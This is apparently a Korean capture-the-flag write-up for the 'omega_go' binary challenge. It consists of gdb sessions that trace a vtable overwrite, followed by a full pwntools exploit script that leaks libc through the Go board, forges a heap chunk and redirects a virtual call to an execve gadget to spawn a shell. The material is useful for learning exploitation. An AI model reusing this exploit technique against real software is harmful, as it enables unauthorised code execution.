0x0000000155555555 0x0000000000000020 0x60a000: 0x0000000000001000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000a00 (gdb) c Continuing. Breakpoint 1, 0x0000000000401761 in ?? () (gdb) x/i $rip => 0x401761: callq 0x400f70 <_Znwm@plt> (gdb) ni 0x0000000000401766 in ?? () (gdb) i r rax rax 0x707550 7370064 (gdb) |
vtable을 Overwirte하는 방법은 다음과 같습니다.
autolycos@ubuntu:~$ sudo gdb -q -p 6027 Attaching to process 6027 ... (gdb) b *0x04017FC Breakpoint 1 at 0x4017fc (gdb) x/12gx 0x609FC0 0x609fc0: 0x00000000016a54a0 0xaaaaaaaaaaaaaaaa 0x609fd0: 0x40000002aaaaaaaa 0x0000000555555555 0x609fe0: 0x0000000000609440 0x0000010000000000 0x609ff0: 0x1800000000000000 0xaaaa8000000008a4 0x60a000: 0x55550000000aaaaa 0x5555555555555555 0x60a010: 0x0000055555555555 0x0000000000000000 (gdb) c Continuing. Breakpoint 1, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x00000000016a54a0 0x00000000016a5530 0x609fd0: 0x4000000aaaaaaaaa 0x0000000555555555 0x609fe0: 0x0000000000609440 0x0000010000000000 0x609ff0: 0x1800000000000000 0xaaaa8000000008a4 0x60a000: 0x55550000000aaaaa 0x5555555555555555 0x60a010: 0x0000055555555555 0x0000000000000000 (gdb) x/18gx 0x00000000016a5530 0x16a5530: 0x00000000016a54a0 0xaaaaaaaaaaaaaaaa 0x16a5540: 0x4000000aaaaaaaaa 0x0000000555555555 0x16a5550: 0x0000000000609440 0x0000010000000000 0x16a5560: 0x1800000000000000 0xaaaa8000000008a4 0x16a5570: 0x55550000000aaaaa 0x5555555555555555 0x16a5580: 0x0000055555555555 0x0000000000000000 0x16a5590: 0x0000000500000004 0x5000010000000058 0x16a55a0: 0x40667feb65a9a800 0x4063bc970b49e01e 0x16a55b0: 0x0000000000000120 0x0000000000000091 (gdb) x/gx 0x16a5550 0x16a5550: 0x0000000000609440 (gdb) x/gx 0x0000000000609440 0x609440: 0x00007f5d9c93a6bd (gdb) c Continuing. process 6027 is executing new program: /bin/dash Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x4017fc (gdb) |
(gdb) b *0x4017D0 Breakpoint 1 at 0x4017d0 (gdb) b *0x04017FC Breakpoint 2 at 0x4017fc (gdb) c Continuing. Breakpoint 1, 0x00000000004017d0 in ?? () (gdb) x/3i $rip => 0x4017d0: mov rax,QWORD PTR [rbp+rax*8-0x30] 0x4017d5: mov rax,QWORD PTR [rax] 0x4017d8: mov rax,QWORD PTR [rax] (gdb) ni 0x00000000004017d5 in ?? () (gdb) i r rax rax 0x1919550 26318160 (gdb) ni 0x00000000004017d8 in ?? () (gdb) i r rax rax 0x609440 6329408 (gdb) ni 0x00000000004017db in ?? () (gdb) i r rax rax 0x7fa236c046bd 140334680000189 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/i $rip => 0x4017fc: call rax (gdb) i r rax rax 0x7fa236c046bd 140334680000189 (gdb) |
from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac') def Play(location): p.recvuntil('\n\n') p.sendline(location) def readBoard(): global board board = [] p.recvline() for line in range(0,19): p.recv(3) board.append(p.recvuntil('\n')[0:19]) def surrender(): p.recvuntil('\n\n') p.sendline('surrender') p.recvuntil('Play history? (y/n)') p.sendline('n') p.recvuntil('Play again? (y/n)') p.sendline('y') def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) return result def LeakAddress(): readBoard() return decode(0) def LeakLibcAddress(): readBoard() return decode(32) #Memory reconstruction surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12) #Leak LibcAddress p.recvuntil('\n\n') p.sendline('D19') p.recvuntil('\n\n') p.sendline('regret') libcAddress = LeakLibcAddress() libcBaseAddress = libcAddress - 0x3be7b8 execve_bash = libcBaseAddress + 0xe66bd log.info('Libc Address : ' + hex(libcAddress)) log.info('Libc Base Address : ' + hex(libcBaseAddress)) log.info('execve bash Address : ' + hex(execve_bash)) #Memory reconstruction surrender() surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) #Fake Chunk Play('D14') Play('R8') #0xXXXX410 -> 0xxxxx550 Fill('A','I',10) Play('P1') Play('O1') surrender() Fill('B','S',6) for line in range(15,20): Fill('A','S',line) Play('A6') #vtable Overflow Play('B7') Play('S8') Play('R8') Play('C12') Play('F12') Play('M8') for line in range(16,19): Fill('A','S',line) Fill('A','E',15) sleep(20) Play('F15|'+p64(execve_bash)) p.interactive() |
Flag |
---|